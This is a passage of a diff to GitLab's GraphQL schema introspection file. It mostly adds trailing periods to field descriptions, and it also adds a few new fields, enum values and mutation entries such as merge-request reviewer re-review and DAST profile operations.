"fields": [ { "name": "color", - "description": "Background color of the label", + "description": "Background color of the label.", "args": [ ], @@ -37469,7 +40344,7 @@ }, { "name": "description", - "description": "Description of the label (Markdown rendered as HTML for caching)", + "description": "Description of the label (Markdown rendered as HTML for caching).", "args": [ ], @@ -37497,7 +40372,7 @@ }, { "name": "id", - "description": "Label ID", + "description": "Label ID.", "args": [ ], @@ -37515,7 +40390,7 @@ }, { "name": "textColor", - "description": "Text color of the label", + "description": "Text color of the label.", "args": [ ], @@ -37533,7 +40408,7 @@ }, { "name": "title", - "description": "Content of the label", + "description": "Content of the label.", "args": [ ], @@ -37564,7 +40439,7 @@ "fields": [ { "name": "count", - "description": "Total count of collection", + "description": "Total count of collection.", "args": [ ], @@ -37650,7 +40525,7 @@ "inputFields": [ { "name": "projectPath", - "description": "The project full path the resource is associated with.", + "description": "Full path of the project with which the resource is associated.", "type": { "kind": "SCALAR", "name": "ID", @@ -37660,7 +40535,7 @@ }, { "name": "groupPath", - "description": "The group full path the resource is associated with.", + "description": "Full path of the group with which the resource is associated.", "type": { "kind": "SCALAR", "name": "ID", @@ -37700,7 +40575,7 @@ "name": "String", "ofType": null }, - "defaultValue": "\"#428BCA\"" + "defaultValue": "\"#6699cc\"" }, { "name": "clientMutationId", @@ -37832,7 +40707,7 @@ { "kind": "SCALAR", "name": "LabelID", - "description": "Identifier of Label", + "description": "Identifier of Label.", "fields": null, "inputFields": null, "interfaces": null, @@ -37842,7 +40717,7 @@ { "kind": "SCALAR", "name": "ListID", - "description": "Identifier of List", + "description": "Identifier of List.", "fields": null, "inputFields": null, "interfaces": null, @@ -38058,7 +40933,7 @@ "fields": [ { "name": "accessLevel", - "description": "GitLab::Access level", + "description": "GitLab::Access level.", "args": [ ], @@ -38072,7 +40947,7 @@ }, { "name": "createdAt", - "description": "Date and time the membership was created", + "description": "Date and time the membership was created.", "args": [ ], @@ -38086,7 +40961,7 @@ }, { "name": "createdBy", - "description": "User that authorized membership", + "description": "User that authorized membership.", "args": [ ], @@ -38100,7 +40975,7 @@ }, { "name": "expiresAt", - "description": "Date and time the membership expires", + "description": "Date and time the membership expires.", "args": [ ], @@ -38114,7 +40989,7 @@ }, { "name": "id", - "description": "ID of the member", + "description": "ID of the member.", "args": [ ], @@ -38132,7 +41007,7 @@ }, { "name": "updatedAt", - "description": "Date and time the membership was last updated", + "description": "Date and time the membership was last updated.", "args": [ ], @@ -38146,7 +41021,7 @@ }, { "name": "user", - "description": "User that is associated with the member object", + "description": "User that is associated with the member object.", "args": [ ], @@ -38298,7 +41173,7 @@ "fields": [ { "name": "allowCollaboration", - "description": "Indicates if members of the target project can push to the fork", + "description": "Indicates if members of the target project can push to the fork.", "args": [ ], @@ -38312,7 +41187,7 @@ }, { "name": "approvalsLeft", - "description": "Number of approvals left", + "description": "Number of approvals left.", "args": [ ], @@ -38326,7 +41201,7 @@ }, { "name": "approvalsRequired", - "description": "Number of approvals required", + "description": "Number of approvals required.", "args": [ ], @@ -38358,7 +41233,7 @@ }, { "name": "approvedBy", - "description": "Users who approved the merge request", + "description": "Users who approved the merge request.", "args": [ { "name": "after", @@ -38411,7 +41286,7 @@ }, { "name": "assignees", - "description": "Assignees of the merge request", + "description": "Assignees of the merge request.", "args": [ { "name": "after", @@ -38464,7 +41339,7 @@ }, { "name": "author", - "description": "User who created this merge request", + "description": "User who created this merge request.", "args": [ ], @@ -38478,7 +41353,7 @@ }, { "name": "autoMergeEnabled", - "description": "Indicates if auto merge is enabled for the merge request", + "description": "Indicates if auto merge is enabled for the merge request.", "args": [ ], @@ -38496,7 +41371,7 @@ }, { "name": "autoMergeStrategy", - "description": "Selected auto merge strategy", + "description": "Selected auto merge strategy.", "args": [ ], @@ -38510,7 +41385,7 @@ }, { "name": "availableAutoMergeStrategies", - "description": "Array of available auto merge strategies", + "description": "Array of available auto merge strategies.", "args": [ ], @@ -38532,7 +41407,7 @@ }, { "name": "commitCount", - "description": "Number of commits in the merge request", + "description": "Number of commits in the merge request.", "args": [ ], @@ -38546,7 +41421,7 @@ }, { "name": "commitsWithoutMergeCommits", - "description": "Merge request commits excluding merge commits", + "description": "Merge request commits excluding merge commits.", "args": [ { "name": "after", @@ -38599,7 +41474,7 @@ }, { "name": "conflicts", - "description": "Indicates if the merge request has conflicts", + "description": "Indicates if the merge request has conflicts.", "args": [ ], @@ -38617,7 +41492,7 @@ }, { "name": "createdAt", - "description": "Timestamp of when the merge request was created", + "description": "Timestamp of when the merge request was created.", "args": [ ], @@ -38635,7 +41510,7 @@ }, { "name": "currentUserTodos", - "description": "Todos for the current user", + "description": "To-do items for the current user.", "args": [ { "name": "after", @@ -38679,7 +41554,7 @@ }, { "name": "state", - "description": "State of the todos", + "description": "State of the to-do items.", "type": { "kind": "ENUM", "name": "TodoStateEnum", @@ -38702,7 +41577,7 @@ }, { "name": "defaultMergeCommitMessage", - "description": "Default merge commit message of the merge request", + "description": "Default merge commit message of the merge request.", "args": [ ], @@ -38716,7 +41591,7 @@ }, { "name": "defaultMergeCommitMessageWithDescription", - "description": "Default merge commit message of the merge request with description", + "description": "Default merge commit message of the merge request with description.", "args": [ ], @@ -38730,7 +41605,7 @@ }, { "name": "defaultSquashCommitMessage", - "description": "Default squash commit message of the merge request", + "description": "Default squash commit message of the merge request.", "args": [ ], @@ -38744,7 +41619,7 @@ }, { "name": "description", - "description": "Description of the merge request (Markdown rendered as HTML for caching)", + "description": "Description of the merge request (Markdown rendered as HTML for caching).", "args": [ ], @@ -38772,7 +41647,7 @@ }, { "name": "diffHeadSha", - "description": "Diff head SHA of the merge request", + "description": "Diff head SHA of the merge request.", "args": [ ], @@ -38786,7 +41661,7 @@ }, { "name": "diffRefs", - "description": "References of the base SHA, the head SHA, and the start SHA for this merge request", + "description": "References of the base SHA, the head SHA, and the start SHA for this merge request.", "args": [ ], @@ -38800,11 +41675,11 @@ }, { "name": "diffStats", - "description": "Details about which files were changed in this merge request", + "description": "Details about which files were changed in this merge request.", "args": [ { "name": "path", - "description": "A specific file-path", + "description": "A specific file-path.", "type": { "kind": "SCALAR", "name": "String", @@ -38831,7 +41706,7 @@ }, { "name": "diffStatsSummary", - "description": "Summary of which files were changed in this merge request", + "description": "Summary of which files were changed in this merge request.", "args": [ ], @@ -38845,7 +41720,7 @@ }, { "name": "discussionLocked", - "description": "Indicates if comments on the merge request are locked to members only", + "description": "Indicates if comments on the merge request are locked to members only.", "args": [ ], @@ -38863,7 +41738,7 @@ }, { "name": "discussions", - "description": "All discussions on this noteable", + "description": "All discussions on this noteable.", "args": [ { "name": "after", @@ -38920,7 +41795,7 @@ }, { "name": "downvotes", - "description": "Number of downvotes for the merge request", + "description": "Number of downvotes for the merge request.", "args": [ ], @@ -38938,7 +41813,7 @@ }, { "name": "forceRemoveSourceBranch", - "description": "Indicates if the project settings will lead to source branch deletion after merge", + "description": "Indicates if the project settings will lead to source branch deletion after merge.", "args": [ ], @@ -38952,7 +41827,25 @@ }, { "name": "hasCi", - "description": "Indicates if the merge request has CI", + "description": "Indicates if the merge request has CI.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "hasSecurityReports", + "description": "Indicates if the source branch has any security reports.", "args": [ ], @@ -38970,7 +41863,7 @@ }, { "name": "headPipeline", - "description": "The pipeline running on the branch HEAD of the merge request", + "description": "The pipeline running on the branch HEAD of the merge request.", "args": [ ], @@ -38984,7 +41877,7 @@ }, { "name": "id", - "description": "ID of the merge request", + "description": "ID of the merge request.", "args": [ ], @@ -39002,7 +41895,7 @@ }, { "name": "iid", - "description": "Internal ID of the merge request", + "description": "Internal ID of the merge request.", "args": [ ], @@ -39020,7 +41913,7 @@ }, { "name": "inProgressMergeCommitSha", - "description": "Commit SHA of the merge request if merge is in progress", + "description": "Commit SHA of the merge request if merge is in progress.", "args": [ ], @@ -39034,7 +41927,7 @@ }, { "name": "labels", - "description": "Labels of the merge request", + "description": "Labels of the merge request.", "args": [ { "name": "after", @@ -39087,7 +41980,7 @@ }, { "name": "mergeCommitSha", - "description": "SHA of the merge request commit (set once merged)", + "description": "SHA of the merge request commit (set once merged).", "args": [ ], @@ -39101,7 +41994,7 @@ }, { "name": "mergeError", - "description": "Error message due to a merge error", + "description": "Error message due to a merge error.", "args": [ ], @@ -39115,7 +42008,7 @@ }, { "name": "mergeOngoing", - "description": "Indicates if a merge is currently occurring", + "description": "Indicates if a merge is currently occurring.", "args": [ ], @@ -39133,7 +42026,7 @@ }, { "name": "mergeStatus", - "description": "Status of the merge request", + "description": "Status of the merge request.", "args": [ ], @@ -39147,7 +42040,7 @@ }, { "name": "mergeTrainsCount", - "description": "", + "description": "Number of merge requests in the merge train.", "args": [ ], @@ -39161,7 +42054,7 @@ }, { "name": "mergeUser", - "description": "User who merged this merge request", + "description": "User who merged this merge request.", "args": [ ], @@ -39175,7 +42068,7 @@ }, { "name": "mergeWhenPipelineSucceeds", - "description": "Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS)", + "description": "Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS).", "args": [ ], @@ -39189,7 +42082,7 @@ }, { "name": "mergeable", - "description": "Indicates if the merge request is mergeable", + "description": "Indicates if the merge request is mergeable.", "args": [ ], @@ -39207,7 +42100,7 @@ }, { "name": "mergeableDiscussionsState", - "description": "Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged", + "description": "Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged.", "args": [ ], @@ -39221,7 +42114,7 @@ }, { "name": "mergedAt", - "description": "Timestamp of when the merge request was merged, null if not merged", + "description": "Timestamp of when the merge request was merged, null if not merged.", "args": [ ], @@ -39235,7 +42128,7 @@ }, { "name": "milestone", - "description": "The milestone of the merge request", + "description": "The milestone of the merge request.", "args": [ ], @@ -39249,7 +42142,7 @@ }, { "name": "notes", - "description": "All notes on this noteable", + "description": "All notes on this noteable.", "args": [ { "name": "after", @@ -39442,7 +42335,7 @@ }, { "name": "project", - "description": "Alias for target_project", + "description": "Alias for target_project.", "args": [ ], @@ -39460,7 +42353,7 @@ }, { "name": "projectId", - "description": "ID of the merge request project", + "description": "ID of the merge request project.", "args": [ ], @@ -39478,7 +42371,7 @@ }, { "name": "rebaseCommitSha", - "description": "Rebase commit SHA of the merge request", + "description": "Rebase commit SHA of the merge request.", "args": [ ], @@ -39492,7 +42385,7 @@ }, { "name": "rebaseInProgress", - "description": "Indicates if there is a rebase currently in progress for the merge request", + "description": "Indicates if there is a rebase currently in progress for the merge request.", "args": [ ], @@ -39510,11 +42403,11 @@ }, { "name": "reference", - "description": "Internal reference of the merge request. Returned in shortened format by default", + "description": "Internal reference of the merge request. Returned in shortened format by default.", "args": [ { "name": "full", - "description": "Boolean option specifying whether the reference should be returned in full", + "description": "Boolean option specifying whether the reference should be returned in full.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -39604,7 +42497,7 @@ }, { "name": "shouldBeRebased", - "description": "Indicates if the merge request will be rebased", + "description": "Indicates if the merge request will be rebased.", "args": [ ], @@ -39622,7 +42515,7 @@ }, { "name": "shouldRemoveSourceBranch", - "description": "Indicates if the source branch of the merge request will be deleted after merge", + "description": "Indicates if the source branch of the merge request will be deleted after merge.", "args": [ ], @@ -39636,7 +42529,7 @@ }, { "name": "sourceBranch", - "description": "Source branch of the merge request", + "description": "Source branch of the merge request.", "args": [ ], @@ -39654,7 +42547,7 @@ }, { "name": "sourceBranchExists", - "description": "Indicates if the source branch of the merge request exists", + "description": "Indicates if the source branch of the merge request exists.", "args": [ ], @@ -39672,7 +42565,7 @@ }, { "name": "sourceBranchProtected", - "description": "Indicates if the source branch is protected", + "description": "Indicates if the source branch is protected.", "args": [ ], @@ -39690,7 +42583,7 @@ }, { "name": "sourceProject", - "description": "Source project of the merge request", + "description": "Source project of the merge request.", "args": [ ], @@ -39704,7 +42597,7 @@ }, { "name": "sourceProjectId", - "description": "ID of the merge request source project", + "description": "ID of the merge request source project.", "args": [ ], @@ -39718,7 +42611,7 @@ }, { "name": "squash", - "description": "Indicates if squash on merge is enabled", + "description": "Indicates if squash on merge is enabled.", "args": [ ], @@ -39736,7 +42629,7 @@ }, { "name": "squashOnMerge", - "description": "Indicates if squash on merge is enabled", + "description": "Indicates if squash on merge is enabled.", "args": [ ], @@ -39754,7 +42647,7 @@ }, { "name": "state", - "description": "State of the merge request", + "description": "State of the merge request.", "args": [ ], @@ -39772,7 +42665,7 @@ }, { "name": "subscribed", - "description": "Indicates if the currently logged in user is subscribed to this merge request", + "description": "Indicates if the currently logged in user is subscribed to this merge request.", "args": [ ], @@ -39790,7 +42683,7 @@ }, { "name": "targetBranch", - "description": "Target branch of the merge request", + "description": "Target branch of the merge request.", "args": [ ], @@ -39808,7 +42701,7 @@ }, { "name": "targetBranchExists", - "description": "Indicates if the target branch of the merge request exists", + "description": "Indicates if the target branch of the merge request exists.", "args": [ ], @@ -39826,7 +42719,7 @@ }, { "name": "targetProject", - "description": "Target project of the merge request", + "description": "Target project of the merge request.", "args": [ ], @@ -39844,7 +42737,7 @@ }, { "name": "targetProjectId", - "description": "ID of the merge request target project", + "description": "ID of the merge request target project.", "args": [ ], @@ -39880,7 +42773,7 @@ }, { "name": "timeEstimate", - "description": "Time estimate of the merge request", + "description": "Time estimate of the merge request.", "args": [ ], @@ -39898,7 +42791,7 @@ }, { "name": "title", - "description": "Title of the merge request", + "description": "Title of the merge request.", "args": [ ], @@ -39930,7 +42823,7 @@ }, { "name": "totalTimeSpent", - "description": "Total time reported as spent on the merge request", + "description": "Total time reported as spent on the merge request.", "args": [ ], @@ -39948,7 +42841,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of when the merge request was last updated", + "description": "Timestamp of when the merge request was last updated.", "args": [ ], @@ -39966,7 +42859,7 @@ }, { "name": "upvotes", - "description": "Number of upvotes for the merge request", + "description": "Number of upvotes for the merge request.", "args": [ ], @@ -39984,7 +42877,7 @@ }, { "name": "userDiscussionsCount", - "description": "Number of user discussions in the merge request", + "description": "Number of user discussions in the merge request.", "args": [ ], @@ -39998,7 +42891,7 @@ }, { "name": "userNotesCount", - "description": "User notes count of the merge request", + "description": "User notes count of the merge request.", "args": [ ], @@ -40030,7 +42923,7 @@ }, { "name": "webUrl", - "description": "Web URL of the merge request", + "description": "Web URL of the merge request.", "args": [ ], @@ -40044,7 +42937,7 @@ }, { "name": "workInProgress", - "description": "Indicates if the merge request is a work in progress (WIP)", + "description": "Indicates if the merge request is a work in progress (WIP).", "args": [ ], @@ -40084,7 +42977,7 @@ "fields": [ { "name": "count", - "description": "Total count of collection", + "description": "Total count of collection.", "args": [ ], @@ -40156,7 +43049,7 @@ }, { "name": "totalTimeToMerge", - "description": "Total sum of time to merge, in seconds, for the collection of merge requests", + "description": "Total sum of time to merge, in seconds, for the collection of merge requests.", "args": [ ], @@ -40198,7 +43091,7 @@ }, { "name": "title", - "description": "Title of the merge request", + "description": "Title of the merge request.", "type": { "kind": "NON_NULL", "name": null, @@ -40212,7 +43105,7 @@ }, { "name": "sourceBranch", - "description": "Source branch of the merge request", + "description": "Source branch of the merge request.", "type": { "kind": "NON_NULL", "name": null, @@ -40226,7 +43119,7 @@ }, { "name": "targetBranch", - "description": "Target branch of the merge request", + "description": "Target branch of the merge request.", "type": { "kind": "NON_NULL", "name": null, @@ -40240,7 +43133,7 @@ }, { "name": "description", - "description": "Description of the merge request (Markdown rendered as HTML for caching)", + "description": "Description of the merge request (Markdown rendered as HTML for caching).", "type": { "kind": "SCALAR", "name": "String", @@ -40250,7 +43143,7 @@ }, { "name": "labels", - "description": "Labels of the merge request", + "description": "Labels of the merge request.", "type": { "kind": "LIST", "name": null, @@ -40415,7 +43308,7 @@ }, { "name": "mergeRequestDiffId", - "description": "ID of the Merge Request diff", + "description": "ID of the Merge Request diff.", "args": [ ], @@ -40641,7 +43534,7 @@ { "kind": "SCALAR", "name": "MergeRequestID", - "description": "Identifier of MergeRequest", + "description": "Identifier of MergeRequest.", "fields": null, "inputFields": null, "interfaces": null, @@ -40649,6 +43542,29 @@ "possibleTypes": null }, { + "kind": "ENUM", + "name": "MergeRequestNewState", + "description": "New state to apply to a merge request.", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": [ + { + "name": "OPEN", + "description": "Open the merge request if it is closed.", + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "CLOSED", + "description": "Close the merge request if it is open.", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "MergeRequestPermissions", "description": "Check permissions for the current user on a merge request", @@ -40825,6 +43741,136 @@ }, { "kind": "INPUT_OBJECT", + "name": "MergeRequestReviewerRereviewInput", + "description": "Autogenerated input type of MergeRequestReviewerRereview", + "fields": null, + "inputFields": [ + { + "name": "projectPath", + "description": "The project the merge request to mutate is in.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "iid", + "description": "The IID of the merge request to mutate.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "userId", + "description": "The user ID for the user that has been requested for a new review.\n", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "UserID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "MergeRequestReviewerRereviewPayload", + "description": "Autogenerated return type of MergeRequestReviewerRereview", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "mergeRequest", + "description": "The merge request after mutation.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "MergeRequest", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "MergeRequestSetAssigneesInput", "description": "Autogenerated input type of MergeRequestSetAssignees", "fields": null, @@ -41776,7 +44822,7 @@ }, { "name": "merged", - "description": null, + "description": "Merge Request has been merged", "isDeprecated": false, "deprecationReason": null } @@ -41819,7 +44865,7 @@ }, { "name": "title", - "description": "Title of the merge request", + "description": "Title of the merge request.", "type": { "kind": "SCALAR", "name": "String", @@ -41829,7 +44875,7 @@ }, { "name": "targetBranch", - "description": "Target branch of the merge request", + "description": "Target branch of the merge request.", "type": { "kind": "SCALAR", "name": "String", @@ -41839,7 +44885,7 @@ }, { "name": "description", - "description": "Description of the merge request (Markdown rendered as HTML for caching)", + "description": "Description of the merge request (Markdown rendered as HTML for caching).", "type": { "kind": "SCALAR", "name": "String", @@ -41848,6 +44894,16 @@ "defaultValue": null }, { + "name": "state", + "description": "The action to perform to change the state.", + "type": { + "kind": "ENUM", + "name": "MergeRequestNewState", + "ofType": null + }, + "defaultValue": null + }, + { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "type": { @@ -41936,7 +44992,7 @@ "fields": [ { "name": "revision", - "description": "Revision", + "description": "Revision.", "args": [ ], @@ -41954,7 +45010,7 @@ }, { "name": "version", - "description": "Version", + "description": "Version.", "args": [ ], @@ -41985,7 +45041,7 @@ "fields": [ { "name": "fileName", - "description": "File name of the metric image", + "description": "File name of the metric image.", "args": [ ], @@ -41999,7 +45055,7 @@ }, { "name": "filePath", - "description": "File path of the metric image", + "description": "File path of the metric image.", "args": [ ], @@ -42013,7 +45069,7 @@ }, { "name": "id", - "description": "ID of the metric upload", + "description": "ID of the metric upload.", "args": [ ], @@ -42031,7 +45087,7 @@ }, { "name": "iid", - "description": "Internal ID of the metric upload", + "description": "Internal ID of the metric upload.", "args": [ ], @@ -42049,7 +45105,7 @@ }, { "name": "url", - "description": "URL of the metric source", + "description": "URL of the metric source.", "args": [ ], @@ -42080,7 +45136,7 @@ "fields": [ { "name": "annotations", - "description": "Annotations added to the dashboard", + "description": "Annotations added to the dashboard.", "args": [ { "name": "from", @@ -42157,7 +45213,7 @@ }, { "name": "path", - "description": "Path to a file with the dashboard definition", + "description": "Path to a file with the dashboard definition.", "args": [ ], @@ -42171,7 +45227,7 @@ }, { "name": "schemaValidationWarnings", - "description": "Dashboard schema validation warnings", + "description": "Dashboard schema validation warnings.", "args": [ ], @@ -42206,7 +45262,7 @@ "fields": [ { "name": "description", - "description": "Description of the annotation", + "description": "Description of the annotation.", "args": [ ], @@ -42220,7 +45276,7 @@ }, { "name": "endingAt", - "description": "Timestamp marking end of annotated time span", + "description": "Timestamp marking end of annotated time span.", "args": [ ], @@ -42234,7 +45290,7 @@ }, { "name": "id", - "description": "ID of the annotation", + "description": "ID of the annotation.", "args": [ ], @@ -42252,7 +45308,7 @@ }, { "name": "panelId", - "description": "ID of a dashboard panel to which the annotation should be scoped", + "description": "ID of a dashboard panel to which the annotation should be scoped.", "args": [ ], @@ -42266,7 +45322,7 @@ }, { "name": "startingAt", - "description": "Timestamp marking start of annotated time span", + "description": "Timestamp marking start of annotated time span.", "args": [ ], @@ -42401,7 +45457,7 @@ { "kind": "SCALAR", "name": "MetricsDashboardAnnotationID", - "description": "Identifier of Metrics::Dashboard::Annotation", + "description": "Identifier of Metrics::Dashboard::Annotation.", "fields": null, "inputFields": null, "interfaces": null, @@ -42415,7 +45471,7 @@ "fields": [ { "name": "createdAt", - "description": "Timestamp of milestone creation", + "description": "Timestamp of milestone creation.", "args": [ ], @@ -42433,7 +45489,7 @@ }, { "name": "description", - "description": "Description of the milestone", + "description": "Description of the milestone.", "args": [ ], @@ -42447,7 +45503,7 @@ }, { "name": "dueDate", - "description": "Timestamp of the milestone due date", + "description": "Timestamp of the milestone due date.", "args": [ ], @@ -42461,7 +45517,7 @@ }, { "name": "groupMilestone", - "description": "Indicates if milestone is at group level", + "description": "Indicates if milestone is at group level.", "args": [ ], @@ -42479,7 +45535,7 @@ }, { "name": "id", - "description": "ID of the milestone", + "description": "ID of the milestone.", "args": [ ], @@ -42497,7 +45553,7 @@ }, { "name": "projectMilestone", - "description": "Indicates if milestone is at project level", + "description": "Indicates if milestone is at project level.", "args": [ ], @@ -42515,7 +45571,7 @@ }, { "name": "report", - "description": "Historically accurate report about the timebox", + "description": "Historically accurate report about the timebox.", "args": [ ], @@ -42529,7 +45585,7 @@ }, { "name": "startDate", - "description": "Timestamp of the milestone start date", + "description": "Timestamp of the milestone start date.", "args": [ ], @@ -42543,7 +45599,7 @@ }, { "name": "state", - "description": "State of the milestone", + "description": "State of the milestone.", "args": [ ], @@ -42561,7 +45617,7 @@ }, { "name": "stats", - "description": "Milestone statistics", + "description": "Milestone statistics.", "args": [ ], @@ -42575,7 +45631,7 @@ }, { "name": "subgroupMilestone", - "description": "Indicates if milestone is at subgroup level", + "description": "Indicates if milestone is at subgroup level.", "args": [ ], @@ -42593,7 +45649,7 @@ }, { "name": "title", - "description": "Title of the milestone", + "description": "Title of the milestone.", "args": [ ], @@ -42611,7 +45667,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of last milestone update", + "description": "Timestamp of last milestone update.", "args": [ ], @@ -42629,7 +45685,7 @@ }, { "name": "webPath", - "description": "Web path of the milestone", + "description": "Web path of the milestone.", "args": [ ], @@ -42772,7 +45828,7 @@ { "kind": "SCALAR", "name": "MilestoneID", - "description": "Identifier of Milestone", + "description": "Identifier of Milestone.", "fields": null, "inputFields": null, "interfaces": null, @@ -42782,20 +45838,20 @@ { "kind": "ENUM", "name": "MilestoneStateEnum", - "description": null, + "description": "Current state of milestone", "fields": null, "inputFields": null, "interfaces": null, "enumValues": [ { "name": "active", - "description": null, + "description": "Milestone is currently active", "isDeprecated": false, "deprecationReason": null }, { "name": "closed", - "description": null, + "description": "Milestone is closed", "isDeprecated": false, "deprecationReason": null } @@ -42809,7 +45865,7 @@ "fields": [ { "name": "closedIssuesCount", - "description": "Number of closed issues associated with the milestone", + "description": "Number of closed issues associated with the milestone.", "args": [ ], @@ -42823,7 +45879,7 @@ }, { "name": "totalIssuesCount", - "description": "Total number of issues associated with the milestone", + "description": "Total number of issues associated with the milestone.", "args": [ ], @@ -43007,6 +46063,33 @@ "deprecationReason": null }, { + "name": "apiFuzzingCiConfigurationCreate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "ApiFuzzingCiConfigurationCreateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "ApiFuzzingCiConfigurationCreatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "awardEmojiAdd", "description": null, "args": [ @@ -43790,6 +46873,114 @@ "deprecationReason": null }, { + "name": "dastProfileCreate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "DastProfileCreateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DastProfileCreatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "dastProfileDelete", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "DastProfileDeleteInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DastProfileDeletePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "dastProfileRun", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "DastProfileRunInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DastProfileRunPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "dastProfileUpdate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "DastProfileUpdateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DastProfileUpdatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "dastScannerProfileCreate", "description": null, "args": [ @@ -44006,6 +47197,33 @@ "deprecationReason": null }, { + "name": "dastSiteValidationRevoke", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "DastSiteValidationRevokeInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "DastSiteValidationRevokePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "deleteAnnotation", "description": null, "args": [ @@ -44438,6 +47656,60 @@ "deprecationReason": null }, { + "name": "epicBoardCreate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "EpicBoardCreateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "EpicBoardCreatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "epicBoardListCreate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "EpicBoardListCreateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "EpicBoardListCreatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "epicSetSubscription", "description": null, "args": [ @@ -44519,6 +47791,33 @@ "deprecationReason": null }, { + "name": "gitlabSubscriptionActivate", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "GitlabSubscriptionActivateInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "GitlabSubscriptionActivatePayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "httpIntegrationCreate", "description": null, "args": [ @@ -45059,6 +48358,33 @@ "deprecationReason": null }, { + "name": "mergeRequestReviewerRereview", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "MergeRequestReviewerRereviewInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "MergeRequestReviewerRereviewPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "mergeRequestSetAssignees", "description": 